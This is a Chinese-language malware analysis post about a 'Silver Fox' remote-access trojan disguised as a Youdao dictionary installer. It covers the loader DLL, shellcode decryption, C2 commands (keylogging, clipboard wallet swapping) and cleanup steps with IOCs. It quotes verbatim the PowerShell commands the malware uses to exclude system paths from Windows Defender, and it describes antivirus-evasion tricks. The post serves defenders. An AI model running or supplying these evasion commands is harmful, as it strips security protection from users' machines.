【病毒分析】经典银狐投毒分析:仿冒某道安装包投毒,词典外壳远控内核
漏洞分析
朋友发来的一张流量监控截图打破了周末的平静。在他看来,这不过是一个刚从“官网”下好的查词工具,界面精美、功能完备,甚至连安装过程都毫无瑕疵。但流量日志里密密麻麻的C2心跳包,却暴露了它真正的身姿。这是一次典型的“银狐”式打劫——利用披着狼皮的羊,悄无声息地在宿主主机上扎根。当翻译引擎在前端跳动文字时,后门的远控内核正在后台默默接收着攻击者的指令。
一、样本分析 ====== 1.1 样本基本信息 ---------- 黑样本 `YoudaoDict_zheybgg_V9.8.2.msi` 采用MSI安装包封装,而官方有道词典安装程序使用的是NSIS。不得不说,这次银狐的伪装多少有些敷衍:官方的安装封装方式都没照着抄。既然都打算“李鬼扮李逵”了,好歹也该把戏服穿得像一点。  对 MSI 包内文件进行简单排查后,`Herms.dll` 和 `emjio.tmp` 很快进入了重点关注名单。继续顺着安装逻辑往下翻,最终在 `MsiTableInfo.xml` 中找到了与 `Herms.dll` 相关的启动链路。起初还以为又是熟悉的“白加黑”套路,结果仔细一看,事情似乎没那么标准——外表像老剧本,细节里却藏着新花样。   1.2 启动阶段 -------- 根据上述基础,从`Herms.dll`导出函数`benthoses`出发进行分析 `benthoses`导出函数首先会判断是否是管理员权限运行  检查进程是否存在如下两个杀软: 以负值 word 初始化,经过一段混淆循环加减常量,最终在栈上还原成 UTF-16 - 360Tray.exe 初始种子:`FF87 FF83 FF86 FFE3 FFCA FFD8 FFC3 FF95 FFD9 FFC5 FFDB FFBF` - QQPCTray.exe 初始种子:`FFE4 FFE7 FFE7 FFFB FFED FFC8 FFDA FFC5 FF93 FFDB FFC7 FFA5 FFC1`  随后执行 5 条隐藏 `PowerShell` 命令,写入`Defender` 排除项 具体路径: ```js powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users'" powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'" powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'" powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess 'xwizard.exe'" powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess 'wuauclt.exe' ```  上述的分析可以汇总成如下的伪代码表示: ```js if (is_current_user_admin_token()) { if (!is_process_name_present_toolhelp32(L"360Tray.exe")) { if (!is_process_name_present_toolhelp32(L"QQPCTray.exe")) { launch_5_hidden_powershell_commands(); } } } ``` 执行完上述后,在末尾通过函数表取地址`jmp rdx` 跳到主负载流程中  1.3 读取payload ------------- 跳转到主负载流程中后,创建单实例锁文件: `C:\Users\Public\venwin.lock` 参数为 `GENERIC_WRITE`、`独占共享模式` `dwShareMode=0`、`OPEN_ALWAYS`。 运行中返回句柄 `0x428`,该句柄保持打开。 如果创建失败,代码直接调用 `ExitProcess(0)`。  构造路径读取同目录下的`emjio.tmp`文件: ```js SetFilePointer(..., 0x11D3, FILE_BEGIN) ReadFile(..., 0x6357B) ``` 也就是跳过前 `4563` 字节,读取后面的 `406907` 字节。 读取出的数据首字节为: ```js E8 6F 00 06 00 6F 00 06 00 05 F5 A8 E8 94 4B 5C ... ``` 已经非常明显了,读出来的这段`E8`开头对应汇编`call`指令,可以怀疑是一段`shellcode`了 随后将读取出来的这段写入注册表中`L"Software\\DeepSer"`中,键值为:`L"MyData"`  随后读取这段注册表中的内容,接收注册表 `shellcode buffer`,然后注入子进程执行  1.4 解密还原 -------- `shellcode buffer`中核心算法解密逻辑: 算法为 `Chaskey/CTR` 风格:每 16 字节 counter 先 `xor key`,做 16 轮 `ARX` 变换,再 `xor key` 生成 `keystream`,最后与密文 `xor`  随后用采用 `aPLib` 算法解析位流与 `LZ77` 变长匹配,将加密 `Payload` 在内存中解压展开,还原为完整的 `MZ PE` 文件。  1.5 恶意代码分析 ---------- 还原后的PE文件分析如下: 总体流程图如下:  入口先隐藏控制台窗口,释放控制台,向当前线程投递空消息后进入客户端主循环  初始化通信控制器并注册网络回调,随后进入无限重连循环,每隔 1 秒检测一次连接状态,并在断线后销毁旧对象并重新建连。  初始化 `CmdHandler` 对象及其内部的连接参数、状态字段与任务队列,并拉起 20 个工作线程组成线程池,用于并发异步执行 C2 下发的各类指令任务。  C2 命令分发器按包首字节分发命令,主要的分发位置和功能为如下: | **C2 命令号** | **分发位置** | **功能** | |---|---|---| | 0 | `0x140028FFD` | 空操作 / 返回成功 | | **1** | `0x140028EE0` | 复制当前连接 / 建立重复连接 | | **2** | `0x140028EEF` | 连接新的控制台地址 | | **4** | `0x140029365` | 设置停止标志,主循环退出 | | **5** | `0x140028EFE` | 更新客户端分组名和备注 | | **6** | `0x140028F1C` | 执行当前活动模块的停止 / 清理回调 | | **7** | `0x140028F0D` | 更新连接列表 | | **10** | `0x140028F3B` | 保存 ServerInfo 到注册表和 INI | | **11** | `0x140028F4A` | 转发 / 更新 `0xCC` 字节连接信息结构 | | **12** | `0x14002902A` | 启动代理 / 转发线程 | | **13** | `0x140029033` | 打开路径或下载执行 | | **15** | `0x14002903F` | 执行复合任务:关机、重启、注销、键盘记录模块入口 | | **16** | `0x1400291B1` | 启动剪贴板钱包地址替换模块 | | **17** | `0x1400291C0` | 停止 / 查询剪贴板钱包替换模块状态 | | **19** | `0x1400291CF` | 处理大块任务 / 插件相关数据并投递线程池 |  具体得详细内容就不展示了,总之该 PE 是一个具备远控能力的客户端组件。启动后,它会隐藏运行,使用内置或持久化的 C2 配置建立 TCP 连接。连接成功后,它等待控制端命令,并执行下载运行、连接切换、配置持久化、插件加载、驱动服务安装、剪贴板钱包地址替换、剪贴板采集、键盘记录等行为。 二、应急处置清单 ======== - **断网**:拔网线/关 Wi-Fi。 - **封禁 C2**:`jxx20260613.com:5178` 删除如下配置: - **配置文件**:`%AppData%\Adobe\h12762341813359219890.ini` - **注册表项**:`HKCU\Software\Console\Client` 、 `HKCU\Software\\DeepSer`(直接删项) - **落地 Payload**:`%Temp%\temp_*.exe` - **键盘记录**:`C:\Users\<用户名>\DisplaySessionContainers.log` - **驱动/服务**:检查 `C:\Windows\System32\drivers\` 下无签名的恶意 `.sys` 驱动与对应服务 - **启动项**:清理 `HKCU/HKLM` 下 `.../CurrentVersion/Run` 异常项 - **凭据重置**:**在安全设备上**修改系统、邮箱、网银等所有账号密码。 - **钱包防劫持**:核对虚拟货币转账地址(防止剪贴板被劫持)。 - **重启复查**:重启后再次确认上述路径未复现。 三、总结 ==== 整体来看,Herms.dll 是前置加载模块,后续释放并执行了一段加密的 shellcode;shellcode 负责解密出真正的恶意 PE。最终 PE运行后会隐藏在后台,连接远程服务器,接收攻击者指令,并执行下载运行其他程序、加载驱动、修改防火墙规则、替换剪贴板中的钱包地址、窃取剪贴板内容和记录键盘输入等行为。简单来说,这是一套分阶段执行的远控木马:前面负责加载和解密,最后的 PE 才是主要恶意功能载体。 好啦!今天的硬核排查到此结束~ 最后唠叨一句:**下载软件千万条,认准官网第一条!** 大家平时下东西可得擦亮双眼,别让“银狐”这只狡猾的小狐狸悄悄溜进你的电脑里偷吃干粮啦! 四、附录 ==== ### IOC | 类型 | 内容 | |---|---| | URL | `jxx20260613.com:5178` | | SHA1 | `0926e137f1f849dfd8dbeebb105669ba03534f48` | | MD5 | `d2ff84c962fe2048b67b3d5146a6fe4d` | | SHA256 | `01492f141e3fe7e3b8033953cc8b5ea415bf7523d58b80b5f83d3316b89eec88` |
发表于 2026-08-27 09:37:40
阅读 ( 3430 )
分类:
二进制
5 推荐
收藏
0 条评论
PEkill
2 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!